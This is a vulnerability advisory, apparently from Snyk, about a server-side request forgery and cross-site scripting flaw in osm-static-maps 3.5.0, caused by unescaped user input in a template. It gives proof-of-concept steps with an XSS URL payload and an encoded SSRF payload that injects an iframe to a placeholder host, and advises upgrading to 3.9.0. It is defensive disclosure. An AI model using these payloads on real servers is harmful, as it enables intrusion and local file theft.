osm-static-maps@3.5.0 vulnerabilities

Create a static image of a map with the features you want

Direct Vulnerabilities

Known vulnerabilities in the osm-static-maps package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Server-side Request Forgery (SSRF)

osm-static-maps is a Create a static image of a map with the features you want

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF). User input given to the package is passed directly to a template without escaping ({{{ ... }}}). As such, it is possible for an attacker to inject arbitrary HTML/JS code and depending on the context.

It will be outputted as an HTML on the page which gives opportunity for XSS or rendered on the server (puppeteer) which also gives opportunity for SSRF and Local File Read.

PoC

git clone https://github.com/jperelli/osm-static-maps.git
cd osm-static-maps
npm install
npm run start

XSS Example
http://localhost:3000/dynamic?tileserverUrl=%27%2Balert(1)%2B%27


SSRF Payload
http://localhost:3000/?tileserverUrl=%27%29%3Bfor%28var%20i%20%3D%200%3B%20i%3C99999%3B%20i%2B%2B%29%7B1%2B1%7D%3C%2Fscript%3E%3Ciframe%20style%3D%22position%3A%20absolute%3B%20top%3A%200%3B%22%20src%3D%22http%3A%2F%2Fput.your.link.here%2F%22%20width%3D%221000%22%20height%3D%221000%22%20frameborder%3D%220%22%3E%3Cscript%3E%2F%2A

How to fix Server-side Request Forgery (SSRF)?

Upgrade osm-static-maps to version 3.9.0 or higher.

<3.9.0